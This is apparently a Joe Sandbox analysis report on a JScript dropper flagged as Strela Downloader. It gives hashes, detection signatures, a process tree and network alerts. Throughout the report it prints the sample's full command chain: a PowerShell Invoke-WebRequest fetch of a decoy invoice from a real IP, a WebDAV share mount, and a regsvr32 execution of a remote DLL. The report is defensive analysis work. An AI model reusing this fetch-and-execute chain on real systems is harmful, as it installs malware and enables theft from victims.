Edit tour

Windows Analysis Report
200475024256003612.js

Overview

General Information

Sample name:	200475024256003612.js
Analysis ID:	1588664
MD5:	30eb29d11866d9a82334c0a12b841660
SHA1:	03b635747e50e58a2e28015104e41d36ac8c1bdc
SHA256:	d51745ccd5867b0043d4d86528702ae6fb179c6d63222e456c1b3ec167170b48
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5448 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7108 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1628 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4296 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7348 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2180 --field-trial-handle=1540,i,14269894298983428743,2519237243031120885,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6096 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3608 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5448	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1628, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1628, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ProcessId: 5448, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3608, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7108, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ProcessId: 5448, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1628, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3608, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 320, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3608, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\200475024256003612.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5448, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll, ProcessId: 7108, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:53:56.765459+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:53:59.339230+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:53:56.765459+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 200475024256003612.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 200475024256003612.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:53:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705
